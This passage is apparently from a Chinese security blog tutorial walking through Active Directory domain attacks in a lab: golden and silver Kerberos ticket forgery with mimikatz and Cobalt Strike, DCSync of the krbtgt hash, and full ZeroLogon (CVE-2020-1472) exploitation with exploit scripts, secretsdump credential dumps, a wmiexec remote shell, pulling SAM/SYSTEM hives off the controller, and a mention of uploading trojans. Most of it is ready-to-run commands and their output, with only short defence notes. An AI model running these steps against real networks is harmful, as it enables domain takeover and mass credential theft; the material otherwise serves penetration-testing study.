kerberos::golden /user:win7 /domain:woniuxy.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /krbtgt:1db4e336b768516ef2a901266d8aaa78 /ticket:woniuxy-ticket
image-20220314153806051

成功导出票据文件:

image-20220301104645897

4、导入票据并测试。

没导入票据前查看域服务器C盘文件:

image-20220314153826856

使用命令导入票据获取权限:

kerberos::ptt woniu.kirbi   
image-20220314153844124

而后使用普通账户查看域服务器C盘文件 :

image-20220301110902391

创建域管账号hacker:

image-20220314153902970

在域控主机上查看用户,已成功创建hacker

image-20220301115759547

三、在CS中制作黄金票据

1、选择域内主机(win7),生成黄金票据:
在这里插入图片描述
image-20230814022410549

在beacon中的输出结果如下:

[08/14 02:23:39] beacon> mimikatz kerberos::golden /user:zhangsan /domain:woniuxy.com /sid:S-1-5-21-265030030-3466757011-2842256786 /krbtgt:347aedc96dcca4c0be2793044386f215 /endin:480 /renewmax:10080 /ptt
[08/14 02:23:39] [*] Tasked beacon to run mimikatz's kerberos::golden /user:zhangsan /domain:woniuxy.com /sid:S-1-5-21-265030030-3466757011-2842256786 /krbtgt:347aedc96dcca4c0be2793044386f215 /endin:480 /renewmax:10080 /ptt command
[08/14 02:23:41] [+] host called home, sent: 297586 bytes
[08/14 02:23:42] [+] received output:
User      : zhangsan
Domain    : woniuxy.com (WONIUXY)
SID       : S-1-5-21-265030030-3466757011-2842256786
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 347aedc96dcca4c0be2793044386f215 - rc4_hmac_nt      
Lifetime  : 2023/8/14 2:23:41 ; 2023/8/14 10:23:41 ; 2023/8/21 2:23:41
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'zhangsan @ woniuxy.com' successfully submitted for current session

2、运行命令访问域控主机(shell dir \\web\c$)

[08/14 02:27:56] beacon> shell dir \\we\c$

[08/14 02:27:56] [*] Tasked beacon to run: dir \\god-111\c$
[08/14 02:27:59] [+] host called home, sent: 47 bytes
[08/14 02:27:59] [+] received output:
 驱动器 \\god-111\c$ 中的卷没有标签。
 卷的序列号是 D821-2F2C

 \\god-111\c$ 的目录
2020/01/05  21:00                 0 AUTOEXEC.BAT
2020/01/05  21:00                 0 CONFIG.SYS
2023/08/08  01:25    <DIR>          Documents and Settings
2023/08/07  23:22    <DIR>          phpstudy
2020/01/05  21:03    <DIR>          Program Files
2023/08/13  02:33    <DIR>          Tools
2023/08/07  23:15    <DIR>          UltraEdit-32
2023/08/13  02:08    <DIR>          WINDOWS
2020/01/05  21:01    <DIR>          wmpub
               2 个文件              0 字节
               7 个目录 12,328,148,992 可用字节

如果能成功访问,则说明黄金票据伪造成功,可以任意横向移动到其他域主机。

四、防御方法

(1) 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机,将所有其他权限委派给自定义管理员组。降低攻击者访问域控制器的Active Directory的ntds.dit文件的可能。

(2) 定期更改krbtgt账户的密码。

⑦白银票据伪造

一、原理概述

在请求票据发放过程中,Client 与 TGS 通信获取 Ticket,拥有 Ticket 就可以访问对应 服务器资源。而当攻击者拥有Server NTLM Hash时,就可以伪造一个 Ticket,直接与 Server 通信,让其验证。当然,如果能获取到域控主机的Hash,也相当于可以获取到域控权限。

image-20220228163619952

二、制作白银票据

1、实验环境

域 :woniuxy.com

域控制器(DC) : Windows Server 2008 R2 (IP:192.168.219.167)

域中服务器:Windows Server 2008 R2 (IP:192.168.219.170)

域内计算机 :Windows 7 (IP:192.168.219.168)

普通域用户 :zhangsan

Windows 密码获取工具 :mimikatz.exe

2、利用过程

(1)域信息获取。

首先我们需要获取服务器的 NTLM Hash(此处直接使用域管理员账号登录域中的服务器后使用 mimikatz 导出):

privilege::debug  //提升权限
sekurlsa::logonpasswords //抓取密码

image-20220302095842529

查看服务器主机名:

image-20220302100705066

查看域SID:

image-20220301104227435

(2)清空客户端缓存票据。

image-20220301174723366

(3)客户端伪造白银票据并导入,然后完成测试。

伪造票据前访问服务器C盘:

image-20220302102543519

伪造票据并直接导入内存:(此处使用cifs服务来验证)

kerberos::golden /domain:域 /sid:域SID /target:目标服务器主机名(全名,要带域名) /service:服务类型 /rc4:Server主机的NTLM_Hash /user:用户名 /ptt


kerberos::golden /domain:woniuxy.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /target:web.woniuxy.com /service:cifs /rc4:ec2138b1ea4134448fc04c286f4edf3c /user:zhangsan /ptt

#自用
kerberos::golden /domain:woniuxy.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /target:web.woniuxy.com /service:cifs /rc4:96726785cea11ff1e4cb8008e28af5ae /user:win7 /ptt
image-20220302101640506

访问服务器C盘:

image-20220302102032783

与之相应的逻辑,如果获取到的是域控主机的NTLM,那么同样可以拿下域管理员权限,比如用以下命令制作白银票据。

kerberos::golden /domain:woniuxy.com /sid:S-1-5-21-265030030-3466757011-2842256786 /target:dcadmin.woniuxy.com /service:cifs /rc4:f76b96a6f4799cc755de30740750a782 /user:zhangsan /ptt


#自用
kerberos::golden /domain:woniuxy.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /target:web.woniuxy.com /service:cifs /rc4:b91d36d7910e1b404b44b222605463bf /user:win7 /ptt

尝试看看能否访问到域控目录:dir \\dcadmin\c$

三、在CS中使用白银票据

1、制作白银票据的过程仍然使用mimikatz命令即可,或者使用谢公子插件:

image-20230817124323187

2、访问LDAP服务获取krbtgt账户Hash值制作黄金票据:

mimikatz kerberos::golden /domain:hacking.com /sid:S-1-5-21-265030030-3466757011-2842256786 /target:dcadmin.woniuxy.com /service:LDAP /rc4:f76b96a6f4799cc755de30740750a782  /user:zhangsan /ptt

mimikatz lsadump::dcsync /dc:dcadmin.woniuxy.com /domain:woniuxy.com /user:krbtgt

确认在Credentials中存在krbtgt的Hash值:

image-20230817124620735

3、利用krbtgt构造黄金票据

image-20230817124904052

填入正确的信息:

image-20230817124935775

构造成功的提示如下:

[08/17 12:50:04] [*] Tasked beacon to run mimikatz's kerberos::golden /user:zhangsan /domain:woniuxy.com /sid:S-1-5-21-265030030-3466757011-2842256786 /krbtgt:924f1d3113ae9ff480f23464f1577c55 /endin:480 /renewmax:10080 /ptt command
[08/17 12:50:05] [+] host called home, sent: 253554 bytes
[08/17 12:50:07] [+] received output:
User      : zhangsan
Domain    : woniuxy.com (WONIUXY)
SID       : S-1-5-21-265030030-3466757011-2842256786
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 924f1d3113ae9ff480f23464f1577c55 - rc4_hmac_nt      
Lifetime  : 2023/8/17 12:50:06 ; 2023/8/17 20:50:06 ; 2023/8/24 12:50:06
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'zhangsan @ woniuxy.com' successfully submitted for current session

此时,运行 shell dir \\dcadmin\c$拿下域控权限。

所有在CS中操作Mimikatz的命令,均需要提权至管理员或SYSTEM权限。

四、防御方法

(1)开启PAC的特权属性证书保护功能,开启PAC后,Server会将Client发送过来的票据Ticket发给KDC,由KDC来进行验证Ticket是否有效。参考:https://cloud.tencent.com/developer/inventory/5057/article/1595624

https://blog.51cto.com/chenjiangfeng/5707611

⑧ZeroLogon (CVE-2020-1472) 漏洞复现

一、漏洞概述

2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞(又称“Zerologon”)的风险通告,该漏洞编号为CVE-2020-1472,CVSS评分为10分的高危漏洞。该漏洞是由于Netlogon的加密实现中存在安全问题,导致攻击者可以通过利用该漏洞来劫持企业环境下的服务器设备。该漏洞将允许攻击者为活动目录域控制器的计算机账号设置密码,并从域控制器中导出凭证数据。

影响系统版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

二、漏洞浅析

2.1 Netlogon

Netlogon 是一个远程过程调用 (RPC) 接口,在域环境中对域用户和计算机进行身份验证,其有诸多功能,例如维护域成员与域控制器 (DC) 之间的关系;维护跨域的多域控制器之间的关系以及复制域控制器数据库。具体通信过程如下:

image-20230704151614435

  1. 客户端向NetLogon服务器发送八个随机字节(Client Challenge)。
  2. 服务端用自己的八个随机字节(Server Challenge)作为回复。
  3. 双方将两个随机字符串合在一起使用用户的hash(secret),生成一个一次性的加密密钥,称为 SessionKey。
  4. 客户端使用Session Key作为密钥生成客户端凭证,并发送给服务端进行验证。
  5. 服务端同样使用Session Key作为密钥生成服务端凭证,回复给客户端进行验证。
  6. 在双方正常通信,客户端可以进行远程过程调用(RPC),通信过程使用Session Key进行签名封装。
2.2 原理概述

漏洞发生在前面所述的Netlogon认证的Client credential加密阶段,8字节的Client credential使用的是AES-CFB的加密模式计算生成,安全地使用AES-CFB需要将初始向量IV设置为随机,但微软将其设置为了全0,此时虽然Session Key依然是个随机数,但当输入的8字节明文(Client Challenge)也为全0时,由于AES-CFB的强随机特性会导致每一字节结果为0的概率都是1/2,最终结果全部为0的概率就是1/256,所以只要不断将client challenge和Client credential设置为全0就有1/256的概率通过认证。

Client credential的加密方式是AES-CFB,AES-CFB对明文的每个字节进行加密。

首先由16个字节的初始化向量(IV)作为输入进行AES运算得到一个输出,取输出的第一个字节,与明文的第一个字节进行异或,得到第一个字节的密文。

而后,由后15个字节的IV加1个字节的密文作为输入进行AES运算得到一个输出,取输出的第一个字节与明文的第二个字节进行异或,得到第二个字节的密文,以此类推,可得到8个字节的密文作为Client credential。

正常AES-CBF算法运算过程:

image-20230704153954648

Netlogon认证漏洞中的AES-CBF算法运算过程:

image-20230704155011001

黄色部分为16字节的初始向量IV, 理论上为了保证AES算法的可靠性该部分内容应该随机生成,而微软却错误的将其全部设置为00;蓝色部分为明文,对应client challenge,该部分内容攻击者可控,设置为全00,那么在某个特殊时刻(1/256的概率)就会像上面一样,使得明文与密文。

而Netlogon 允许计算机对域控制器进行身份验证并更新它们在 Active Directory 中的密码,于是攻击者可以冒充任何计算机到域控制器并更改其密码,包括域控制器本身的密码。

三、漏洞复现

3.1 实验环境

域 :woniuxy.com

DC:Windows server 2008 R2(IP:192.168.112.100,主机名:dcadmin )

攻击机:kali (IP:192.168.112.216)

漏洞检测工具:zerologon_tester.py(https://github.com/SecuraBV/CVE-2020-1472)

漏洞利用和密码还原工具:set_empty_pw.py(https://github.com/risksense/zerologon)

3.2 实验过程

在Kali中使用zerologon_tester.py进行漏洞检测:

$ python3 zerologon_tester.py web 192.168.12.156 
Performing authentication attempts...

Success! DC can be fully compromised by a Zerologon attack.

使用EXP将域控的机器密码置为空进行利用,但可能导致脱域影响到目标使用,因此实战环境下慎用

$ python3 set_empty_pw.py web 192.168.12.156
Performing authentication attempts...
=======================================================================
NetrServerAuthenticate3Response 
ServerCredential:               
    Data:                            b'\xf1\x82\x04\x98\xe7\xc7\xe6\xc9' 
NegotiateFlags:                  556793855 
AccountRid:                      1000 
ErrorCode:                       0 

server challenge b'\xf1>\x80GrW73'
NetrServerPasswordSet2Response 
ReturnAuthenticator:            
    Credential:                     
        Data:                            b'\x017\xda\x0e\xe1r\xad\x92' 
    Timestamp:                       0 
ErrorCode:                       0 

Success! DC should now have the empty string as its machine password.

然后可以使用impacket中的secretsdump.py,获取域控上所有的Hash,获取Hash后就可以进行PTH了。

python3 secretsdump.py  '域名/域控机器名$@域控IP' -no-pass
#python3 secretsdump.py  'woniuxy/web$@192.168.12.156' -no-pass
$ python3 secretsdump.py 'woniuxy/DCADMIN$@192.168.112.100' -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:beeabbdf97a07d8356dbb2bbf617e1ba:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:924f1d3113ae9ff480f23464f1577c55:::
woniuxy.com\zhangsan:1103:aad3b435b51404eeaad3b435b51404ee:45ce49ca0ad889aa3efd85e5b833222a:::
woniuxy.com\lisi:1105:aad3b435b51404eeaad3b435b51404ee:b573c09dd7bb978553ae7aa495393573:::
woniuxy.com\xiaoma:1106:aad3b435b51404eeaad3b435b51404ee:2da2a4991d15033319d15eb780372184:::
woniuxy.com\xiaoyang:1107:aad3b435b51404eeaad3b435b51404ee:6dc2c2d557141986acedece7380f8bf3:::
wangwu:1109:aad3b435b51404eeaad3b435b51404ee:204e2330e674fb16cb2e734a267322f6:::
DCADMIN$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ROSE$:1104:aad3b435b51404eeaad3b435b51404ee:33ce19d77ef65faacbda38fda69118d1:::
GOD-111$:1108:aad3b435b51404eeaad3b435b51404ee:2d8bf302972181661c50977192ac89a8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:c556d630054357091cf7542559a8803d63bc0268fb83897325fb2e40280a49f7
krbtgt:aes128-cts-hmac-sha1-96:bbd057333ee2eae6e03f10a9b1d2f1ee
krbtgt:des-cbc-md5:fd673102ce8cdfdf
woniuxy.com\zhangsan:aes256-cts-hmac-sha1-96:b3228a3b9aa2275450d9af213def808a26547b3ca140baf059317abc1f41081d
woniuxy.com\zhangsan:aes128-cts-hmac-sha1-96:1c7bfeab2b7fbabf74ca77aa62b3cb48
woniuxy.com\zhangsan:des-cbc-md5:98ae04fb025b43e5
woniuxy.com\lisi:aes256-cts-hmac-sha1-96:f4f774c2f1c271ba7efc0ee177fe0ed31befc1d9ee90f7838b87c7251ec7a604
woniuxy.com\lisi:aes128-cts-hmac-sha1-96:b55084e3bc2a749fab53f3db057c9fb1
woniuxy.com\lisi:des-cbc-md5:d3a82f6185ba1ce6
woniuxy.com\xiaoma:aes256-cts-hmac-sha1-96:ea044ebf49029dc1d1a018549356428d4b0f120c3a8dac8104618da660398590
woniuxy.com\xiaoma:aes128-cts-hmac-sha1-96:9aa099ed4982a4ab9d7e43d9e003968a
woniuxy.com\xiaoma:des-cbc-md5:31a79b7f9775807c
woniuxy.com\xiaoyang:aes256-cts-hmac-sha1-96:6d7917026a90483e8440f2f3678017ce4174988ef5180c44544b5365809a87d5
woniuxy.com\xiaoyang:aes128-cts-hmac-sha1-96:e18d36b46d16f1747391cf9787fa62e8
woniuxy.com\xiaoyang:des-cbc-md5:dfbf528932a25ebf
wangwu:aes256-cts-hmac-sha1-96:22db1016029c737fb400d3ad4b5d65689a6fa18f8c4f64c6d7556accb7d94311
wangwu:aes128-cts-hmac-sha1-96:73150fd373e75825fdc9e4810af44b43
wangwu:des-cbc-md5:16d67cefcdb94043
DCADMIN$:aes256-cts-hmac-sha1-96:73fe946d59144261a3b6ba44b99fc6a439175c47554f029979b29e9a246b9410
DCADMIN$:aes128-cts-hmac-sha1-96:06503f5835ed7d0b2bb0cad9758a432a
DCADMIN$:des-cbc-md5:4c4302b6c8b083a2
ROSE$:aes256-cts-hmac-sha1-96:88c7604a21389ce063233efe4cdde154f2ff42e230ea30e58e5c3c586e7327bd
ROSE$:aes128-cts-hmac-sha1-96:91824363146386c079e67e211ceff794
ROSE$:des-cbc-md5:64b519ce6b3dea4a
GOD-111$:aes256-cts-hmac-sha1-96:619f655080dab21f93366436f60fce197135c9eb92ea30a23b7805bb0b998793
GOD-111$:aes128-cts-hmac-sha1-96:83d21ef0af5986eb0304d08911b360cb
GOD-111$:des-cbc-md5:8a8acd3497d54591
[*] Cleaning up... 

用impacket的wmiexec.py进行利用,这里使用administrator(域管理员)的ntlm hash登录

$ python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c1f07320c7bf6ab6b76a5fc834f5d771 administrator@192.168.12.156
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
dcadmin

C:\>ipconfig
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec

Windows IP ����
���������� ��������:
   �����ض��� DNS ��׺ . . . . . . . : 
   �������� IPv6 ��. . . . . . . . : fe80::1580:a390:587f:f15f%11
   IPv4 �� . . . . . . . . . . . . : 192.168.112.100
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ������. . . . . . . . . . . . . : 192.168.112.2

由于这个修改域控密码只是修改了内存中的密码,所以可以从SAM文件中恢复原来的密码,远控目标机器后通过reg导出SAM和SYSTEM文件,下载到kali。

reg save HKLM\SYSTEM C:\Tools\system.save
reg save HKLM\SAM  C:\Tools\sam.save
reg save HKLM\SECURITY  C:\Tools\security.save
lget  C:\Tools\system.save
lget  C:\Tools\sam.save
lget  C:\Tools\security.save
del /f  C:\Tools\system.save
del /f  C:\Tools\sam.save
del /f  C:\Tools\security.save

可以使用 lput 命令上传木马到目标主机

下载到本地后使用impacket中的secretsdump.py来加载,获取DC机器账户密钥 (HEX) 。

$ python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x5f28d3b25b905973ec97c2df52f5e40f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:beeabbdf97a07d8356dbb2bbf617e1ba:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:f2db57a3bb2b216b9cee3cfc580dae5508794d845d1c523c01bb98f78d36ef39eae8f5ba63816fa6627ea0524a20bad0b514f43956d4c60b499d831911431bffd2188342f17d2677e39d3e2fa3e4917a37ed0fe6fec540c3c38c79c8eceada954233c22511fe5a98e17e2dee28193b161d38cbb3340c44a2061cf95e76806a1e4507b347c4aac14b6f9358248e6606b8e772f2cd897e8c5681c4c9ce7a8aa52b4f16f817b7ca4afe2ea22201f1699c08531204b89ab2ea036d8bd2ed17dcbba608494244f09571b88327908810c21a84ce593f14504fd06c33d6a9e8b3c39d4f70159396c2b32ca09c0c775d4b876769
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f76b96a6f4799cc755de30740750a782
[*] DefaultPassword 
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xd74fbe84515cc3ba18ec6df1821a4b9681e47a93
dpapi_userkey:0xf242ff4722297dea47ed124eca9186a243358931
[*] NL$KM 
 0000   59 3E D7 58 55 E9 B1 15  82 7B 6F C5 E5 AE 89 C8   Y>.XU....{o.....
 0010   7A 28 35 17 D2 67 3F 64  55 EC 0D 50 D7 39 3A 32   z(5..g?dU..P.9:2
 0020   AA A7 69 72 99 89 CB 8B  05 AA E6 F8 EF CC DC 9A   ..ir............
 0030   F5 41 05 3C 8F AC BA 52  F0 C4 C7 36 82 09 8C 6C   .A.<...R...6...l
NL$KM:593ed75855e9b115827b6fc5e5ae89c87a283517d2673f6455ec0d50d7393a32aaa769729989cb8b05aae6f8efccdc9af541053c8facba52f0c4c73682098c6c
[*] Cleaning up... 

使用密钥还原工具进行还原

$ python3 reinstall_original_pw.py DCADMIN 192.168.112.100   f2db57a3bb2b216b9cee3cfc580dae5508794d845d1c523c01bb98f78d36ef39eae8f5ba63816fa6627ea0524a20bad0b514f43956d4c60b499d831911431bffd2188342f17d2677e39d3e2fa3e4917a37ed0fe6fec540c3c38c79c8eceada954233c22511fe5a98e17e2dee28193b161d38cbb3340c44a2061cf95e76806a1e4507b347c4aac14b6f9358248e6606b8e772f2cd897e8c5681c4c9ce7a8aa52b4f16f817b7ca4afe2ea22201f1699c08531204b89ab2ea036d8bd2ed17dcbba608494244f09571b88327908810c21a84ce593f14504fd06c33d6a9e8b3c39d4f70159396c2b32ca09c0c775d4b876769
Performing authentication attempts...
==============================================================================================================================================================================================================
NetrServerAuthenticate3Response 
ServerCredential:               
    Data:                            b'\xde\x08x\xfa\xf3\xd7X\xf3' 
NegotiateFlags:                  556793855 
AccountRid:                      1000 
ErrorCode:                       0 


server challenge b'\xde+\xec\x85&Z,\xf7'
session key b'\x10\x92\xbcjG\x9cf\x90x\xa9\x19"\x0f\x8e\x06\xac'
NetrServerPasswordSetResponse 
ReturnAuthenticator:            
    Credential:                     
        Data:                            b'\x01\xf0\x0f\xecL\n\xd2?' 
    Timestamp:                       0 
ErrorCode:                       0 
Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

再次使用secretsdump.py脚本,指定DCADMIN$的密码为空进行加载,发现认证失败说明还原成功。

四、修复建议

  1. 域控上安装对应补丁(https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472)。

五、参考文章

  1. 域渗透系列–那些一键打域控的漏洞之ZeroLogon(https://www.jianshu.com/p/7bd3f242c09c)。
  2. ZeroLogon漏洞(CVE-2020-1472)防御性指南(https://cloud.tencent.com/developer/article/1731506)。
  3. 域提权漏洞系列分析-Zerologon漏洞分析(https://cloud.tencent.com/developer/article/2209941)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值